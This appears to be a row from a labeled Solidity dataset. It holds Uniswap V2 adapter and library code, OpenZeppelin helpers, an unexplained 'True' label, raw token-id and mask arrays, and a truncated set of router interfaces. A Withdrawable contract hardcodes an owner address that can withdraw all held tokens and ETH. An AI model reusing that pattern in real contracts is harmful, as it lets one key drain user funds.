function _amountIn(IERC20 tokenIn, IERC20 tokenOut, uint tokenOutAmount)
internal view
returns (uint tokenInAmount)
{
address[] memory path = _path(tokenIn, tokenOut);
tokenInAmount = UniswapV2Library.getAmountsIn(factory, tokenOutAmount, path)[0];
}
function _path (IERC20 tokenIn, IERC20 tokenOut)
internal pure
returns (address[] memory path)
{
path = new address[](2);
path[0] = address(tokenIn);
path[1] = address(tokenOut);
}
function _amounts (uint amountIn, uint amountOut)
internal pure
returns (uint[] memory amounts)
{
amounts = new uint[](2);
amounts[0] = amountIn;
amounts[1] = amountOut;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.7.6;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.7.6;
import "../OpenZeppelin/Ownable.sol";
import "../OpenZeppelin/IERC20.sol";
import '../Libraries/TransferHelper.sol';
contract Withdrawable is Ownable {
constructor () {
transferOwnership(0x71795b2d53Ffbe5b1805FE725538E4f8fBD29e26);
}
function withdrawToken(IERC20 token, uint amount, address to) external onlyOwner {
TransferHelper.safeTransfer(address(token), to, amount);
}
function withdrawEth(uint amount, address payable to) external onlyOwner {
(bool success, ) = to.call{value: amount}("");
require(success, "Withdrawable: withdrawEth call failed");
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.7.6;
import "../OpenZeppelin/IERC20.sol";
interface ISwapAdapter {
function tokenToTokenExcess(
IERC20 tokenIn,
IERC20 tokenOut,
uint tokenInAmount,
uint tokenOutAmount
) external view returns (address[] memory excessTokens, int[] memory excessAmounts);
function ethToTokenExcess(
IERC20 token,
uint ethAmount,
uint tokenAmount
) external view returns (address[] memory excessTokens, int[] memory excessAmounts);
function tokenToEthExcess(
IERC20 token,
uint tokenAmount,
uint ethAmount
) external view returns (address[] memory excessTokens, int[] memory excessAmounts);
function tokenToTokenOutputAmount(
IERC20 tokenIn,
IERC20 tokenOut,
uint tokenInAmount
) external view returns (uint tokenOutAmount);
function tokenToTokenInputAmount(
IERC20 tokenIn,
IERC20 tokenOut,
uint tokenOutAmount
) external view returns (uint tokenInAmount);
function ethToTokenOutputAmount(
IERC20 token,
uint ethInAmount
) external view returns (uint tokenOutAmount);
function ethToTokenInputAmount(
IERC20 token,
uint tokenOutAmount
) external view returns (uint ethInAmount);
function tokenToEthOutputAmount(
IERC20 token,
uint tokenInAmount
) external view returns (uint ethOutAmount);
function tokenToEthInputAmount(
IERC20 token,
uint ethOutAmount
) external view returns (uint tokenInAmount);
function tokenToToken(
IERC20 tokenIn,
IERC20 tokenOut,
uint tokenInAmount,
uint tokenOutAmount,
address account
) external;
function ethToToken(
IERC20 token,
uint tokenAmount,
address account
) external payable;
function tokenToEth(
IERC20 token,
uint tokenAmount,
uint ethAmount,
address account
) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.7.6;
interface IWETH {
function deposit() external payable;
function transfer(address to, uint value) external returns (bool);
function withdraw(uint) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.7.6;
import "../../OpenZeppelin/SafeMath.sol";
import "./IUniswapV2Pair.sol";
library UniswapV2Library {
using SafeMath for uint;
// returns sorted token addresses, used to handle return values from pairs sorted in this order
function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) {
require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
}
// calculates the CREATE2 address for a pair without making any external calls
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
))));
}
// fetches and sorts the reserves for a pair
function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) {
(address token0,) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves();
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) {
require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
// given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) {
require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint amountInWithFee = amountIn.mul(997);
uint numerator = amountInWithFee.mul(reserveOut);
uint denominator = reserveIn.mul(1000).add(amountInWithFee);
amountOut = numerator / denominator;
}
// given an output amount of an asset and pair reserves, returns a required input amount of the other asset
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) {
require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY');
uint numerator = reserveIn.mul(amountOut).mul(1000);
uint denominator = reserveOut.sub(amountOut).mul(997);
amountIn = (numerator / denominator).add(1);
}
// performs chained getAmountOut calculations on any number of pairs
function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[0] = amountIn;
for (uint i; i < path.length - 1; i++) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut);
}
}
// performs chained getAmountIn calculations on any number of pairs
function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) {
require(path.length >= 2, 'UniswapV2Library: INVALID_PATH');
amounts = new uint[](path.length);
amounts[amounts.length - 1] = amountOut;
for (uint i = path.length - 1; i > 0; i--) {
(uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]);
amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "./Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.7.6;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
1011,
2030,
1011,
2101,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1021,
1012,
1020,
1025,
12324,
1000,
1012,
1013,
4895,
12848,
2475,
8447,
13876,
2121,
17345,
1012,
14017,
1000,
1025,
3206,
4895,
12848,
2475,
10288,
9623,
26760,
11031,
16458,
4502,
4313,
2003,
4895,
12848,
2475,
8447,
13876,
2121,
17345,
1063,
3853,
19204,
3406,
18715,
16515,
4904,
18780,
22591,
16671,
1006,
29464,
11890,
11387,
19204,
2378,
1010,
29464,
11890,
11387,
19204,
5833,
1010,
21318,
3372,
19204,
3981,
20048,
1007,
2270,
3193,
2058,
15637,
5651,
1006,
21318,
3372,
19204,
5833,
22591,
16671,
1007,
1063,
29464,
11890,
11387,
4954,
11039,
11045,
2078,
1027,
29464,
11890,
11387,
1006,
4769,
1006,
4954,
2232,
1007,
1007,
1025,
21318,
3372,
4954,
6806,
4904,
1027,
1035,
3815,
5833,
1006,
19204,
2378,
1010,
4954,
11039,
11045,
2078,
1010,
19204,
3981,
20048,
1007,
1025,
19204,
5833,
22591,
16671,
1027,
1035,
3815,
5833,
1006,
4954,
11039,
11045,
2078,
1010,
19204,
5833,
1010,
4954,
6806,
4904,
1007,
1025,
1065,
3853,
19204,
3406,
18715,
18595,
16275,
13210,
20048,
1006,
29464,
11890,
11387,
19204,
2378,
1010,
29464,
11890,
11387,
19204,
5833,
1010,
21318,
3372,
19204,
5833,
22591,
16671,
1007,
2270,
3193,
2058,
15637,
5651,
1006,
21318,
3372,
19204,
3981,
20048,
1007,
1063,
29464,
11890,
11387,
4954,
11039,
11045,
2078,
1027,
29464,
11890,
11387,
1006,
4769,
1006,
4954,
2232,
1007,
1007,
1025,
21318,
3372,
4954,
10606,
1027,
1035,
3815,
2378,
1006,
4954,
11039,
11045,
2078,
1010,
19204,
5833,
1010,
19204,
5833,
22591,
16671,
1007,
1025,
19204,
3981,
20048,
1027,
1035,
3815,
2378,
1006,
19204,
2378,
1010,
4954,
11039,
11045,
2078,
1010,
4954,
10606,
1007,
1025,
1065,
3853,
19204,
3406,
18715,
8625,
2595,
9623,
2015,
1006,
29464,
11890,
11387,
19204,
2378,
1010,
29464,
11890,
11387,
19204,
5833,
1010,
21318,
3372,
19204,
3981,
20048,
1010,
21318,
3372,
19204,
5833,
22591,
16671,
1007,
6327,
3193,
2058,
15637,
5651,
1006,
4769,
1031,
1033,
3638,
9987,
18715,
6132,
1010,
20014,
1031,
1033,
3638,
9987,
22591,
16671,
2015,
1007,
1063,
21318,
3372,
4954,
6806,
4904,
1027,
1035,
3815,
5833,
1006,
19204,
2378,
1010,
29464,
11890,
11387,
1006,
4769,
1006,
4954,
2232,
1007,
1007,
1010,
19204,
3981,
20048,
1007,
1025,
21318,
3372,
4954,
10606,
1027,
1035,
3815,
2378,
1006,
29464,
11890,
11387,
1006,
4769,
1006,
4954,
2232,
1007,
1007,
1010,
19204,
5833,
1010,
19204,
5833,
22591,
16671,
1007,
1025,
9987,
18715,
6132,
1027,
2047,
4769,
1031,
1033,
1006,
1015,
1007,
1025,
9987,
18715,
6132,
1031,
1014,
1033,
1027,
4769,
1006,
1014,
1007,
1025,
9987,
22591,
16671,
2015,
1027,
2047,
20014,
1031,
1033,
1006,
1015,
1007,
1025,
9987,
22591,
16671,
2015,
1031,
1014,
1033,
1027,
20014,
1006,
4954,
6806,
4904,
1011,
4954,
10606,
1007,
1025,
1065,
3853,
3802,
11039,
11439,
7520,
10288,
9623,
2015,
1006,
29464,
11890,
11387,
19204,
1010,
21318,
3372,
3802,
3511,
21723,
1010,
21318,
3372,
19204,
22591,
16671,
1007,
6327,
3193,
2058,
15637,
5651,
1006,
4769,
1031,
1033,
3638,
9987,
18715,
6132,
1010,
20014,
1031,
1033,
3638,
9987,
22591,
16671,
2015,
1007,
1063,
9987,
18715,
6132,
1027,
2047,
4769,
1031,
1033,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: MIT
// File public/contracts/base/interface/uniswap/IUniswapV2Router01.sol
pragma solidity >=0.5.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// File public/contracts/base/interface/uniswap/IUniswapV2Router02.sol
pragma solidity >=0.5.0;
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// File ozV3/math/[email protected]
pragma solidity >=0.6.0 <0.8.0;
/**
